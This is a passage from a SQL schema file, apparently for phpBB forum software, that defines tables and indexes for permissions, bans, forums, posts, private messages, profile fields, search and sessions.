phpbb_attachments (is_orphan); # Table: 'phpbb_acl_groups' CREATE TABLE phpbb_acl_groups ( group_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_option_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_role_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_setting tinyint(2) NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_acl_groups_group_id ON phpbb_acl_groups (group_id); CREATE INDEX phpbb_acl_groups_auth_opt_id ON phpbb_acl_groups (auth_option_id); CREATE INDEX phpbb_acl_groups_auth_role_id ON phpbb_acl_groups (auth_role_id); # Table: 'phpbb_acl_options' CREATE TABLE phpbb_acl_options ( auth_option_id INTEGER PRIMARY KEY NOT NULL , auth_option varchar(50) NOT NULL DEFAULT '', is_global INTEGER UNSIGNED NOT NULL DEFAULT '0', is_local INTEGER UNSIGNED NOT NULL DEFAULT '0', founder_only INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE UNIQUE INDEX phpbb_acl_options_auth_option ON phpbb_acl_options (auth_option); # Table: 'phpbb_acl_roles' CREATE TABLE phpbb_acl_roles ( role_id INTEGER PRIMARY KEY NOT NULL , role_name varchar(255) NOT NULL DEFAULT '', role_description text(65535) NOT NULL DEFAULT '', role_type varchar(10) NOT NULL DEFAULT '', role_order INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_acl_roles_role_type ON phpbb_acl_roles (role_type); CREATE INDEX phpbb_acl_roles_role_order ON phpbb_acl_roles (role_order); # Table: 'phpbb_acl_roles_data' CREATE TABLE phpbb_acl_roles_data ( role_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_option_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_setting tinyint(2) NOT NULL DEFAULT '0', PRIMARY KEY (role_id, auth_option_id) ); CREATE INDEX phpbb_acl_roles_data_ath_op_id ON phpbb_acl_roles_data (auth_option_id); # Table: 'phpbb_acl_users' CREATE TABLE phpbb_acl_users ( user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_option_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_role_id INTEGER UNSIGNED NOT NULL DEFAULT '0', auth_setting tinyint(2) NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_acl_users_user_id ON phpbb_acl_users (user_id); CREATE INDEX phpbb_acl_users_auth_option_id ON phpbb_acl_users (auth_option_id); CREATE INDEX phpbb_acl_users_auth_role_id ON phpbb_acl_users (auth_role_id); # Table: 'phpbb_banlist' CREATE TABLE phpbb_banlist ( ban_id INTEGER PRIMARY KEY NOT NULL , ban_userid INTEGER UNSIGNED NOT NULL DEFAULT '0', ban_ip varchar(40) NOT NULL DEFAULT '', ban_email varchar(100) NOT NULL DEFAULT '', ban_start INTEGER UNSIGNED NOT NULL DEFAULT '0', ban_end INTEGER UNSIGNED NOT NULL DEFAULT '0', ban_exclude INTEGER UNSIGNED NOT NULL DEFAULT '0', ban_reason varchar(255) NOT NULL DEFAULT '', ban_give_reason varchar(255) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_banlist_ban_end ON phpbb_banlist (ban_end); CREATE INDEX phpbb_banlist_ban_user ON phpbb_banlist (ban_userid, ban_exclude); CREATE INDEX phpbb_banlist_ban_email ON phpbb_banlist (ban_email, ban_exclude); CREATE INDEX phpbb_banlist_ban_ip ON phpbb_banlist (ban_ip, ban_exclude); # Table: 'phpbb_bbcodes' CREATE TABLE phpbb_bbcodes ( bbcode_id INTEGER UNSIGNED NOT NULL DEFAULT '0', bbcode_tag varchar(16) NOT NULL DEFAULT '', bbcode_helpline varchar(255) NOT NULL DEFAULT '', display_on_posting INTEGER UNSIGNED NOT NULL DEFAULT '0', bbcode_match text(65535) NOT NULL DEFAULT '', bbcode_tpl mediumtext(16777215) NOT NULL DEFAULT '', first_pass_match mediumtext(16777215) NOT NULL DEFAULT '', first_pass_replace mediumtext(16777215) NOT NULL DEFAULT '', second_pass_match mediumtext(16777215) NOT NULL DEFAULT '', second_pass_replace mediumtext(16777215) NOT NULL DEFAULT '', PRIMARY KEY (bbcode_id) ); CREATE INDEX phpbb_bbcodes_display_on_post ON phpbb_bbcodes (display_on_posting); # Table: 'phpbb_bookmarks' CREATE TABLE phpbb_bookmarks ( topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (topic_id, user_id) ); # Table: 'phpbb_bots' CREATE TABLE phpbb_bots ( bot_id INTEGER PRIMARY KEY NOT NULL , bot_active INTEGER UNSIGNED NOT NULL DEFAULT '1', bot_name text(65535) NOT NULL DEFAULT '', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', bot_agent varchar(255) NOT NULL DEFAULT '', bot_ip varchar(255) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_bots_bot_active ON phpbb_bots (bot_active); # Table: 'phpbb_config' CREATE TABLE phpbb_config ( config_name varchar(255) NOT NULL DEFAULT '', config_value varchar(255) NOT NULL DEFAULT '', is_dynamic INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (config_name) ); CREATE INDEX phpbb_config_is_dynamic ON phpbb_config (is_dynamic); # Table: 'phpbb_confirm' CREATE TABLE phpbb_confirm ( confirm_id char(32) NOT NULL DEFAULT '', session_id char(32) NOT NULL DEFAULT '', confirm_type tinyint(3) NOT NULL DEFAULT '0', code varchar(8) NOT NULL DEFAULT '', seed INTEGER UNSIGNED NOT NULL DEFAULT '0', attempts INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (session_id, confirm_id) ); CREATE INDEX phpbb_confirm_confirm_type ON phpbb_confirm (confirm_type); # Table: 'phpbb_disallow' CREATE TABLE phpbb_disallow ( disallow_id INTEGER PRIMARY KEY NOT NULL , disallow_username varchar(255) NOT NULL DEFAULT '' ); # Table: 'phpbb_drafts' CREATE TABLE phpbb_drafts ( draft_id INTEGER PRIMARY KEY NOT NULL , user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', save_time INTEGER UNSIGNED NOT NULL DEFAULT '0', draft_subject text(65535) NOT NULL DEFAULT '', draft_message mediumtext(16777215) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_drafts_save_time ON phpbb_drafts (save_time); # Table: 'phpbb_extensions' CREATE TABLE phpbb_extensions ( extension_id INTEGER PRIMARY KEY NOT NULL , group_id INTEGER UNSIGNED NOT NULL DEFAULT '0', extension varchar(100) NOT NULL DEFAULT '' ); # Table: 'phpbb_extension_groups' CREATE TABLE phpbb_extension_groups ( group_id INTEGER PRIMARY KEY NOT NULL , group_name varchar(255) NOT NULL DEFAULT '', cat_id tinyint(2) NOT NULL DEFAULT '0', allow_group INTEGER UNSIGNED NOT NULL DEFAULT '0', download_mode INTEGER UNSIGNED NOT NULL DEFAULT '1', upload_icon varchar(255) NOT NULL DEFAULT '', max_filesize INTEGER UNSIGNED NOT NULL DEFAULT '0', allowed_forums text(65535) NOT NULL DEFAULT '', allow_in_pm INTEGER UNSIGNED NOT NULL DEFAULT '0' ); # Table: 'phpbb_forums' CREATE TABLE phpbb_forums ( forum_id INTEGER PRIMARY KEY NOT NULL , parent_id INTEGER UNSIGNED NOT NULL DEFAULT '0', left_id INTEGER UNSIGNED NOT NULL DEFAULT '0', right_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_parents mediumtext(16777215) NOT NULL DEFAULT '', forum_name text(65535) NOT NULL DEFAULT '', forum_desc text(65535) NOT NULL DEFAULT '', forum_desc_bitfield varchar(255) NOT NULL DEFAULT '', forum_desc_options INTEGER UNSIGNED NOT NULL DEFAULT '7', forum_desc_uid varchar(8) NOT NULL DEFAULT '', forum_link varchar(255) NOT NULL DEFAULT '', forum_password varchar(40) NOT NULL DEFAULT '', forum_style INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_image varchar(255) NOT NULL DEFAULT '', forum_rules text(65535) NOT NULL DEFAULT '', forum_rules_link varchar(255) NOT NULL DEFAULT '', forum_rules_bitfield varchar(255) NOT NULL DEFAULT '', forum_rules_options INTEGER UNSIGNED NOT NULL DEFAULT '7', forum_rules_uid varchar(8) NOT NULL DEFAULT '', forum_topics_per_page tinyint(4) NOT NULL DEFAULT '0', forum_type tinyint(4) NOT NULL DEFAULT '0', forum_status tinyint(4) NOT NULL DEFAULT '0', forum_posts INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_topics INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_topics_real INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_last_post_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_last_poster_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_last_post_subject text(65535) NOT NULL DEFAULT '', forum_last_post_time INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_last_poster_name varchar(255) NOT NULL DEFAULT '', forum_last_poster_colour varchar(6) NOT NULL DEFAULT '', forum_flags tinyint(4) NOT NULL DEFAULT '32', forum_options INTEGER UNSIGNED NOT NULL DEFAULT '0', display_subforum_list INTEGER UNSIGNED NOT NULL DEFAULT '1', display_on_index INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_indexing INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_icons INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_prune INTEGER UNSIGNED NOT NULL DEFAULT '0', prune_next INTEGER UNSIGNED NOT NULL DEFAULT '0', prune_days INTEGER UNSIGNED NOT NULL DEFAULT '0', prune_viewed INTEGER UNSIGNED NOT NULL DEFAULT '0', prune_freq INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_forums_left_right_id ON phpbb_forums (left_id, right_id); CREATE INDEX phpbb_forums_forum_lastpost_id ON phpbb_forums (forum_last_post_id); # Table: 'phpbb_forums_access' CREATE TABLE phpbb_forums_access ( forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', session_id char(32) NOT NULL DEFAULT '', PRIMARY KEY (forum_id, user_id, session_id) ); # Table: 'phpbb_forums_track' CREATE TABLE phpbb_forums_track ( user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', mark_time INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (user_id, forum_id) ); # Table: 'phpbb_forums_watch' CREATE TABLE phpbb_forums_watch ( forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', notify_status INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_forums_watch_forum_id ON phpbb_forums_watch (forum_id); CREATE INDEX phpbb_forums_watch_user_id ON phpbb_forums_watch (user_id); CREATE INDEX phpbb_forums_watch_notify_stat ON phpbb_forums_watch (notify_status); # Table: 'phpbb_groups' CREATE TABLE phpbb_groups ( group_id INTEGER PRIMARY KEY NOT NULL , group_type tinyint(4) NOT NULL DEFAULT '1', group_founder_manage INTEGER UNSIGNED NOT NULL DEFAULT '0', group_skip_auth INTEGER UNSIGNED NOT NULL DEFAULT '0', group_name varchar(255) NOT NULL DEFAULT '', group_desc text(65535) NOT NULL DEFAULT '', group_desc_bitfield varchar(255) NOT NULL DEFAULT '', group_desc_options INTEGER UNSIGNED NOT NULL DEFAULT '7', group_desc_uid varchar(8) NOT NULL DEFAULT '', group_display INTEGER UNSIGNED NOT NULL DEFAULT '0', group_avatar varchar(255) NOT NULL DEFAULT '', group_avatar_type tinyint(2) NOT NULL DEFAULT '0', group_avatar_width INTEGER UNSIGNED NOT NULL DEFAULT '0', group_avatar_height INTEGER UNSIGNED NOT NULL DEFAULT '0', group_rank INTEGER UNSIGNED NOT NULL DEFAULT '0', group_colour varchar(6) NOT NULL DEFAULT '', group_sig_chars INTEGER UNSIGNED NOT NULL DEFAULT '0', group_receive_pm INTEGER UNSIGNED NOT NULL DEFAULT '0', group_message_limit INTEGER UNSIGNED NOT NULL DEFAULT '0', group_max_recipients INTEGER UNSIGNED NOT NULL DEFAULT '0', group_legend INTEGER UNSIGNED NOT NULL DEFAULT '1' ); CREATE INDEX phpbb_groups_group_legend_name ON phpbb_groups (group_legend, group_name); # Table: 'phpbb_icons' CREATE TABLE phpbb_icons ( icons_id INTEGER PRIMARY KEY NOT NULL , icons_url varchar(255) NOT NULL DEFAULT '', icons_width tinyint(4) NOT NULL DEFAULT '0', icons_height tinyint(4) NOT NULL DEFAULT '0', icons_order INTEGER UNSIGNED NOT NULL DEFAULT '0', display_on_posting INTEGER UNSIGNED NOT NULL DEFAULT '1' ); CREATE INDEX phpbb_icons_display_on_posting ON phpbb_icons (display_on_posting); # Table: 'phpbb_lang' CREATE TABLE phpbb_lang ( lang_id INTEGER PRIMARY KEY NOT NULL , lang_iso varchar(30) NOT NULL DEFAULT '', lang_dir varchar(30) NOT NULL DEFAULT '', lang_english_name varchar(100) NOT NULL DEFAULT '', lang_local_name varchar(255) NOT NULL DEFAULT '', lang_author varchar(255) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_lang_lang_iso ON phpbb_lang (lang_iso); # Table: 'phpbb_log' CREATE TABLE phpbb_log ( log_id INTEGER PRIMARY KEY NOT NULL , log_type tinyint(4) NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', reportee_id INTEGER UNSIGNED NOT NULL DEFAULT '0', log_ip varchar(40) NOT NULL DEFAULT '', log_time INTEGER UNSIGNED NOT NULL DEFAULT '0', log_operation text(65535) NOT NULL DEFAULT '', log_data mediumtext(16777215) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_log_log_type ON phpbb_log (log_type); CREATE INDEX phpbb_log_forum_id ON phpbb_log (forum_id); CREATE INDEX phpbb_log_topic_id ON phpbb_log (topic_id); CREATE INDEX phpbb_log_reportee_id ON phpbb_log (reportee_id); CREATE INDEX phpbb_log_user_id ON phpbb_log (user_id); # Table: 'phpbb_login_attempts' CREATE TABLE phpbb_login_attempts ( attempt_ip varchar(40) NOT NULL DEFAULT '', attempt_browser varchar(150) NOT NULL DEFAULT '', attempt_forwarded_for varchar(255) NOT NULL DEFAULT '', attempt_time INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', username varchar(255) NOT NULL DEFAULT '0', username_clean varchar(255) NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_login_attempts_att_ip ON phpbb_login_attempts (attempt_ip, attempt_time); CREATE INDEX phpbb_login_attempts_att_for ON phpbb_login_attempts (attempt_forwarded_for, attempt_time); CREATE INDEX phpbb_login_attempts_att_time ON phpbb_login_attempts (attempt_time); CREATE INDEX phpbb_login_attempts_user_id ON phpbb_login_attempts (user_id); # Table: 'phpbb_moderator_cache' CREATE TABLE phpbb_moderator_cache ( forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', username varchar(255) NOT NULL DEFAULT '', group_id INTEGER UNSIGNED NOT NULL DEFAULT '0', group_name varchar(255) NOT NULL DEFAULT '', display_on_index INTEGER UNSIGNED NOT NULL DEFAULT '1' ); CREATE INDEX phpbb_moderator_cache_disp_idx ON phpbb_moderator_cache (display_on_index); CREATE INDEX phpbb_moderator_cache_forum_id ON phpbb_moderator_cache (forum_id); # Table: 'phpbb_modules' CREATE TABLE phpbb_modules ( module_id INTEGER PRIMARY KEY NOT NULL , module_enabled INTEGER UNSIGNED NOT NULL DEFAULT '1', module_display INTEGER UNSIGNED NOT NULL DEFAULT '1', module_basename varchar(255) NOT NULL DEFAULT '', module_class varchar(10) NOT NULL DEFAULT '', parent_id INTEGER UNSIGNED NOT NULL DEFAULT '0', left_id INTEGER UNSIGNED NOT NULL DEFAULT '0', right_id INTEGER UNSIGNED NOT NULL DEFAULT '0', module_langname varchar(255) NOT NULL DEFAULT '', module_mode varchar(255) NOT NULL DEFAULT '', module_auth varchar(255) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_modules_left_right_id ON phpbb_modules (left_id, right_id); CREATE INDEX phpbb_modules_module_enabled ON phpbb_modules (module_enabled); CREATE INDEX phpbb_modules_class_left_id ON phpbb_modules (module_class, left_id); # Table: 'phpbb_poll_options' CREATE TABLE phpbb_poll_options ( poll_option_id tinyint(4) NOT NULL DEFAULT '0', topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', poll_option_text text(65535) NOT NULL DEFAULT '', poll_option_total INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_poll_options_poll_opt_id ON phpbb_poll_options (poll_option_id); CREATE INDEX phpbb_poll_options_topic_id ON phpbb_poll_options (topic_id); # Table: 'phpbb_poll_votes' CREATE TABLE phpbb_poll_votes ( topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', poll_option_id tinyint(4) NOT NULL DEFAULT '0', vote_user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', vote_user_ip varchar(40) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_poll_votes_topic_id ON phpbb_poll_votes (topic_id); CREATE INDEX phpbb_poll_votes_vote_user_id ON phpbb_poll_votes (vote_user_id); CREATE INDEX phpbb_poll_votes_vote_user_ip ON phpbb_poll_votes (vote_user_ip); # Table: 'phpbb_posts' CREATE TABLE phpbb_posts ( post_id INTEGER PRIMARY KEY NOT NULL , topic_id INTEGER UNSIGNED NOT NULL DEFAULT '0', forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', poster_id INTEGER UNSIGNED NOT NULL DEFAULT '0', icon_id INTEGER UNSIGNED NOT NULL DEFAULT '0', poster_ip varchar(40) NOT NULL DEFAULT '', post_time INTEGER UNSIGNED NOT NULL DEFAULT '0', post_approved INTEGER UNSIGNED NOT NULL DEFAULT '1', post_reported INTEGER UNSIGNED NOT NULL DEFAULT '0', enable_bbcode INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_smilies INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_magic_url INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_sig INTEGER UNSIGNED NOT NULL DEFAULT '1', post_username varchar(255) NOT NULL DEFAULT '', post_subject text(65535) NOT NULL DEFAULT '', post_text mediumtext(16777215) NOT NULL DEFAULT '', post_checksum varchar(32) NOT NULL DEFAULT '', post_attachment INTEGER UNSIGNED NOT NULL DEFAULT '0', bbcode_bitfield varchar(255) NOT NULL DEFAULT '', bbcode_uid varchar(8) NOT NULL DEFAULT '', post_postcount INTEGER UNSIGNED NOT NULL DEFAULT '1', post_edit_time INTEGER UNSIGNED NOT NULL DEFAULT '0', post_edit_reason text(65535) NOT NULL DEFAULT '', post_edit_user INTEGER UNSIGNED NOT NULL DEFAULT '0', post_edit_count INTEGER UNSIGNED NOT NULL DEFAULT '0', post_edit_locked INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_posts_forum_id ON phpbb_posts (forum_id); CREATE INDEX phpbb_posts_topic_id ON phpbb_posts (topic_id); CREATE INDEX phpbb_posts_poster_ip ON phpbb_posts (poster_ip); CREATE INDEX phpbb_posts_poster_id ON phpbb_posts (poster_id); CREATE INDEX phpbb_posts_post_approved ON phpbb_posts (post_approved); CREATE INDEX phpbb_posts_post_username ON phpbb_posts (post_username); CREATE INDEX phpbb_posts_tid_post_time ON phpbb_posts (topic_id, post_time); # Table: 'phpbb_privmsgs' CREATE TABLE phpbb_privmsgs ( msg_id INTEGER PRIMARY KEY NOT NULL , root_level INTEGER UNSIGNED NOT NULL DEFAULT '0', author_id INTEGER UNSIGNED NOT NULL DEFAULT '0', icon_id INTEGER UNSIGNED NOT NULL DEFAULT '0', author_ip varchar(40) NOT NULL DEFAULT '', message_time INTEGER UNSIGNED NOT NULL DEFAULT '0', enable_bbcode INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_smilies INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_magic_url INTEGER UNSIGNED NOT NULL DEFAULT '1', enable_sig INTEGER UNSIGNED NOT NULL DEFAULT '1', message_subject text(65535) NOT NULL DEFAULT '', message_text mediumtext(16777215) NOT NULL DEFAULT '', message_edit_reason text(65535) NOT NULL DEFAULT '', message_edit_user INTEGER UNSIGNED NOT NULL DEFAULT '0', message_attachment INTEGER UNSIGNED NOT NULL DEFAULT '0', bbcode_bitfield varchar(255) NOT NULL DEFAULT '', bbcode_uid varchar(8) NOT NULL DEFAULT '', message_edit_time INTEGER UNSIGNED NOT NULL DEFAULT '0', message_edit_count INTEGER UNSIGNED NOT NULL DEFAULT '0', to_address text(65535) NOT NULL DEFAULT '', bcc_address text(65535) NOT NULL DEFAULT '', message_reported INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_privmsgs_author_ip ON phpbb_privmsgs (author_ip); CREATE INDEX phpbb_privmsgs_message_time ON phpbb_privmsgs (message_time); CREATE INDEX phpbb_privmsgs_author_id ON phpbb_privmsgs (author_id); CREATE INDEX phpbb_privmsgs_root_level ON phpbb_privmsgs (root_level); # Table: 'phpbb_privmsgs_folder' CREATE TABLE phpbb_privmsgs_folder ( folder_id INTEGER PRIMARY KEY NOT NULL , user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', folder_name varchar(255) NOT NULL DEFAULT '', pm_count INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_privmsgs_folder_user_id ON phpbb_privmsgs_folder (user_id); # Table: 'phpbb_privmsgs_rules' CREATE TABLE phpbb_privmsgs_rules ( rule_id INTEGER PRIMARY KEY NOT NULL , user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', rule_check INTEGER UNSIGNED NOT NULL DEFAULT '0', rule_connection INTEGER UNSIGNED NOT NULL DEFAULT '0', rule_string varchar(255) NOT NULL DEFAULT '', rule_user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', rule_group_id INTEGER UNSIGNED NOT NULL DEFAULT '0', rule_action INTEGER UNSIGNED NOT NULL DEFAULT '0', rule_folder_id int(11) NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_privmsgs_rules_user_id ON phpbb_privmsgs_rules (user_id); # Table: 'phpbb_privmsgs_to' CREATE TABLE phpbb_privmsgs_to ( msg_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', author_id INTEGER UNSIGNED NOT NULL DEFAULT '0', pm_deleted INTEGER UNSIGNED NOT NULL DEFAULT '0', pm_new INTEGER UNSIGNED NOT NULL DEFAULT '1', pm_unread INTEGER UNSIGNED NOT NULL DEFAULT '1', pm_replied INTEGER UNSIGNED NOT NULL DEFAULT '0', pm_marked INTEGER UNSIGNED NOT NULL DEFAULT '0', pm_forwarded INTEGER UNSIGNED NOT NULL DEFAULT '0', folder_id int(11) NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_privmsgs_to_msg_id ON phpbb_privmsgs_to (msg_id); CREATE INDEX phpbb_privmsgs_to_author_id ON phpbb_privmsgs_to (author_id); CREATE INDEX phpbb_privmsgs_to_usr_flder_id ON phpbb_privmsgs_to (user_id, folder_id); # Table: 'phpbb_profile_fields' CREATE TABLE phpbb_profile_fields ( field_id INTEGER PRIMARY KEY NOT NULL , field_name varchar(255) NOT NULL DEFAULT '', field_type tinyint(4) NOT NULL DEFAULT '0', field_ident varchar(20) NOT NULL DEFAULT '', field_length varchar(20) NOT NULL DEFAULT '', field_minlen varchar(255) NOT NULL DEFAULT '', field_maxlen varchar(255) NOT NULL DEFAULT '', field_novalue varchar(255) NOT NULL DEFAULT '', field_default_value varchar(255) NOT NULL DEFAULT '', field_validation varchar(20) NOT NULL DEFAULT '', field_required INTEGER UNSIGNED NOT NULL DEFAULT '0', field_show_novalue INTEGER UNSIGNED NOT NULL DEFAULT '0', field_show_on_reg INTEGER UNSIGNED NOT NULL DEFAULT '0', field_show_on_vt INTEGER UNSIGNED NOT NULL DEFAULT '0', field_show_profile INTEGER UNSIGNED NOT NULL DEFAULT '0', field_hide INTEGER UNSIGNED NOT NULL DEFAULT '0', field_no_view INTEGER UNSIGNED NOT NULL DEFAULT '0', field_active INTEGER UNSIGNED NOT NULL DEFAULT '0', field_order INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE INDEX phpbb_profile_fields_fld_type ON phpbb_profile_fields (field_type); CREATE INDEX phpbb_profile_fields_fld_ordr ON phpbb_profile_fields (field_order); # Table: 'phpbb_profile_fields_data' CREATE TABLE phpbb_profile_fields_data ( user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (user_id) ); # Table: 'phpbb_profile_fields_lang' CREATE TABLE phpbb_profile_fields_lang ( field_id INTEGER UNSIGNED NOT NULL DEFAULT '0', lang_id INTEGER UNSIGNED NOT NULL DEFAULT '0', option_id INTEGER UNSIGNED NOT NULL DEFAULT '0', field_type tinyint(4) NOT NULL DEFAULT '0', lang_value varchar(255) NOT NULL DEFAULT '', PRIMARY KEY (field_id, lang_id, option_id) ); # Table: 'phpbb_profile_lang' CREATE TABLE phpbb_profile_lang ( field_id INTEGER UNSIGNED NOT NULL DEFAULT '0', lang_id INTEGER UNSIGNED NOT NULL DEFAULT '0', lang_name varchar(255) NOT NULL DEFAULT '', lang_explain text(65535) NOT NULL DEFAULT '', lang_default_value varchar(255) NOT NULL DEFAULT '', PRIMARY KEY (field_id, lang_id) ); # Table: 'phpbb_ranks' CREATE TABLE phpbb_ranks ( rank_id INTEGER PRIMARY KEY NOT NULL , rank_title varchar(255) NOT NULL DEFAULT '', rank_min INTEGER UNSIGNED NOT NULL DEFAULT '0', rank_special INTEGER UNSIGNED NOT NULL DEFAULT '0', rank_image varchar(255) NOT NULL DEFAULT '' ); # Table: 'phpbb_reports' CREATE TABLE phpbb_reports ( report_id INTEGER PRIMARY KEY NOT NULL , reason_id INTEGER UNSIGNED NOT NULL DEFAULT '0', post_id INTEGER UNSIGNED NOT NULL DEFAULT '0', pm_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', user_notify INTEGER UNSIGNED NOT NULL DEFAULT '0', report_closed INTEGER UNSIGNED NOT NULL DEFAULT '0', report_time INTEGER UNSIGNED NOT NULL DEFAULT '0', report_text mediumtext(16777215) NOT NULL DEFAULT '' ); CREATE INDEX phpbb_reports_post_id ON phpbb_reports (post_id); CREATE INDEX phpbb_reports_pm_id ON phpbb_reports (pm_id); # Table: 'phpbb_reports_reasons' CREATE TABLE phpbb_reports_reasons ( reason_id INTEGER PRIMARY KEY NOT NULL , reason_title varchar(255) NOT NULL DEFAULT '', reason_description mediumtext(16777215) NOT NULL DEFAULT '', reason_order INTEGER UNSIGNED NOT NULL DEFAULT '0' ); # Table: 'phpbb_search_results' CREATE TABLE phpbb_search_results ( search_key varchar(32) NOT NULL DEFAULT '', search_time INTEGER UNSIGNED NOT NULL DEFAULT '0', search_keywords mediumtext(16777215) NOT NULL DEFAULT '', search_authors mediumtext(16777215) NOT NULL DEFAULT '', PRIMARY KEY (search_key) ); # Table: 'phpbb_search_wordlist' CREATE TABLE phpbb_search_wordlist ( word_id INTEGER PRIMARY KEY NOT NULL , word_text varchar(255) NOT NULL DEFAULT '', word_common INTEGER UNSIGNED NOT NULL DEFAULT '0', word_count INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE UNIQUE INDEX phpbb_search_wordlist_wrd_txt ON phpbb_search_wordlist (word_text); CREATE INDEX phpbb_search_wordlist_wrd_cnt ON phpbb_search_wordlist (word_count); # Table: 'phpbb_search_wordmatch' CREATE TABLE phpbb_search_wordmatch ( post_id INTEGER UNSIGNED NOT NULL DEFAULT '0', word_id INTEGER UNSIGNED NOT NULL DEFAULT '0', title_match INTEGER UNSIGNED NOT NULL DEFAULT '0' ); CREATE UNIQUE INDEX phpbb_search_wordmatch_unq_mtch ON phpbb_search_wordmatch (word_id, post_id, title_match); CREATE INDEX phpbb_search_wordmatch_word_id ON phpbb_search_wordmatch (word_id); CREATE INDEX phpbb_search_wordmatch_post_id ON phpbb_search_wordmatch (post_id); # Table: 'phpbb_sessions' CREATE TABLE phpbb_sessions ( session_id char(32) NOT NULL DEFAULT '', session_user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', session_forum_id INTEGER UNSIGNED NOT NULL DEFAULT '0', session_last_visit INTEGER UNSIGNED NOT NULL DEFAULT '0', session_start INTEGER UNSIGNED NOT NULL DEFAULT '0', session_time INTEGER UNSIGNED NOT NULL DEFAULT '0', session_ip varchar(40) NOT NULL DEFAULT '', session_browser varchar(150) NOT NULL DEFAULT '', session_forwarded_for varchar(255) NOT NULL DEFAULT '', session_page varchar(255) NOT NULL DEFAULT '', session_viewonline INTEGER UNSIGNED NOT NULL DEFAULT '1', session_autologin INTEGER UNSIGNED NOT NULL DEFAULT '0', session_admin INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (session_id) ); CREATE INDEX phpbb_sessions_session_time ON phpbb_sessions (session_time); CREATE INDEX phpbb_sessions_session_user_id ON phpbb_sessions (session_user_id); CREATE INDEX phpbb_sessions_session_fid ON phpbb_sessions (session_forum_id); # Table: 'phpbb_sessions_keys' CREATE TABLE phpbb_sessions_keys ( key_id char(32) NOT NULL DEFAULT '', user_id INTEGER UNSIGNED NOT NULL DEFAULT '0', last_ip varchar(40) NOT 